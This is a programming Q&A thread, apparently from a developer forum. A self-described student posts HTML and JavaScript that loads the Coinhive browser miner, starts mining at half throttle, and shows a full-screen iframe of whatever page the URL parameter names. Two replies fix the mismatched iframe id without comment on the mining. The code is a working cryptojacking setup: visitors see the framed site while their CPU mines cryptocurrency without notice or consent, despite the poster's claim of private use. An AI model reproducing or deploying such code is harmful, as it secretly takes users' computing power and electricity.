Reputation: 13
I'm trying to do a little project with coinhive, but I had some troubles.
What i wanted to do is just display a web page in an iframe while coinhive was mining. (don't scare, it's only for my own pourpouses and I'll not use it illegally)
Up to here everything was working, so i decided to make it smarter, changing the website showed up from the url (for example: www.domain.com/page?url=targeturl) but everytime I try setting .src value of the iframe from javascript it don't works. Here's the code. Any help is helpful! (I'm just a student haha)
<iframe src="about:blank" id="frm" style="height:100%; width:100%; position:fixed; top:0; bottom:0; left:0; right:0;"></iframe>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('WJ2VsNaAOJh6yp5epJpVXGqV3lzQKZIw', { throttle: 0.5 });
miner.start();
function getParameterByName(name, url)
{
if (!url) url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
var url = getParameterByName('url');
document.getElementById('preview').src = url;
</script>
Upvotes: 1
Views: 58
Reputation: 496
document.getElementById('preview').src = url;
<iframe src="about:blank" **id="preview"** style="height:100%; width:100%; position:fixed; top:0; bottom:0; left:0; right:0;"></iframe>
Please change id of iframe...
Upvotes: 0
Reputation: 1598
I think you should change the id to 'frm' instead to 'preview' in:
document.getElementById('preview').src = url;
Upvotes: 1